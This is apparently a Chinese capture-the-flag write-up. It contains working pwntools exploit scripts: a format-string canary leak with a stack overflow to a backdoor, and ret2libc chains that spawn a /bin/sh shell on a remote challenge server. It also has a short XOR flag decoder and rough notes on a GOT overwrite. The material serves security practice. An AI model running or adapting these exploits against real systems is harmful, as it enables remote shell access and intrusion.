makewishes
第一次read可以覆盖seed
先进入这个函数
然后v3等于0,进入前面的
###
看到两个seed全部被我们改为了0
栈顶到canary的距离为0x28
即为6+5=11
%p返回的是字符串,我们需要用int函数进行转换
from pwn import *
from LibcSearcher import*
context(os='linux', arch='amd64', log_level='debug')
door = 0x004011D6
sh = process('./makewishes')
sh = remote('59.110.164.72',10023)
def debug():
pwnlib.gdb.attach(sh,"b *0x00401276 ")
pause()
sh.recvuntil('Now you can make your first wish\n')
payload = b'\x00'*0x16
sh.send(payload)
sh.recvuntil('Please give me a number!\n')
sh.sendline(str(2))
sh.recvuntil('Now you can make your second wish!\n')
payload = b'%11$p'
sh.sendline(payload)
Canary=int(sh.recvuntil("00"),16)
sh.sendline(str(2))
sh.recvuntil('Now you can make your final wish!\n')
payload = b'a'*0x28 +p64(Canary)+b'a'*0x8+ p64(door)
sh.sendline(payload)
sh.interactive()
覆盖的时候不行,c代码算的是3,但是2是有用的
所以之后的随机数我都是蒙的
两个全是2
login
第一次输入跳过判断的时候不能sendline,不然回车会直接作为后面的输入,因为输入的长度有限,回车并没有进去
ret2libc,前面的stdin也没用
from pwn import *
from LibcSearcher import*
context(os='linux', arch='amd64', log_level='debug')
sh = process('./login')
sh = remote('59.110.164.72',10020)
elf = ELF('./login')
def debug():
pwnlib.gdb.attach(sh,"b *0x400838 ")
pause()
main = 0x000400796
sh.recvuntil('Here is a tip: ')
stdin = int(sh.recv(14),16)
sh.recvuntil('input the username:\n')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
rdi = 0x04008c3
payload = b'a'*28 + p32( 0x15CC15CC)
sh.send(payload)
sh.recvuntil('input the password:\n')
payload = b'a'*0x28 + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
sh.sendline(payload)
puts_addr=u64(sh.recvuntil('\x7f',False)[-6:].ljust(8,b'\x00'))
libc = LibcSearcher("puts",puts_addr)
libcbase = puts_addr - libc.dump('puts')
print('base is')
print(hex(libcbase))
print(hex(stdin))
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')
sh.recvuntil('input the username:\n')
payload = b'a'*28 + p32( 0x15CC15CC)
sh.send(payload)
sh.recvuntil('input the password:\n')
payload = b'a'*0x28 + p64(rdi) + p64(binsh_addr)+p64(system_addr)
sh.sendline(payload)
sh.interactive()
这种方法本地没有打通不知道为啥,远程通了(第二种方法也是)
可以通过stdin直接获得libc,不用再泄露
用的是第一个,不知道为什么第二个(libc.symbols[‘stdin’] )不能用
####
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
sh = process('./login')
sh = remote('59.110.164.72',10020)
elf = ELF('./login')
libc = ELF('./libc-2.23.so')
main = 0x000400796
rdi = 0x04008c3
def debug():
pwnlib.gdb.attach(sh,"b *0x400838 ")
pause()
sh.recvuntil('Here is a tip: ')
stdin = int(sh.recv(14),16)
libcbase = stdin - 0x3c48e0 ### 0x3c5710 0x3c48e0
system_addr = libcbase + libc.symbols['system']
binsh_addr = libcbase + next(libc.search(b'/bin/sh'))
print(hex(system_addr))
print(hex(binsh_addr))
sh.recvuntil('input the username:\n')
payload = b'a'*28 + p32( 0x15CC15CC)
sh.send(payload)
sh.recvuntil('input the password:\n')
payload = b'a'*0x28 + p64(rdi) + p64(binsh_addr)+p64(system_addr)
sh.sendline(payload)
sh.interactive()
NSSCTF-Re-简简单单的逻辑
发现zfill函数是用来补充的
[2:]是用来截取0x字符的
ord是返回ascii值的
异或操作反过来就可以
result = 'bcfba4d0038d48bd4b00f82796d393dfec'
flag = ''
list = [47, 138, 127, 57, 117, 188, 51, 143, 17, 84, 42, 135, 76, 105, 28, 169, 25]
for i in range(len(list)):
key = (list[i] >> 4) + ((list[i] & 0xf) << 4)
flag += chr(int(result[2 * i:2 * i + 2], 16) ^ key)
print(flag)

re1
就是遇到ehea就会转化成3和4
所以我们只要输入{easy_reverse}就可以了
double
感觉是把end的got表改为shell函数的地址
然后再buff中写入/bin/sh ,就可以
但是前面的buf的地址没有用到
6020E0 | 217 |
---|---|
06020E0 | size |
006024E | prt |
最后会判断
如果不进行展示的话,size位不会检查,我们可以溢出到两个bss处,刚好是四个字节,覆盖整数
0x602228
0x6021e8 0x40
0x6020e0 0x148
这道题应该是修改got表,但是不知道怎么改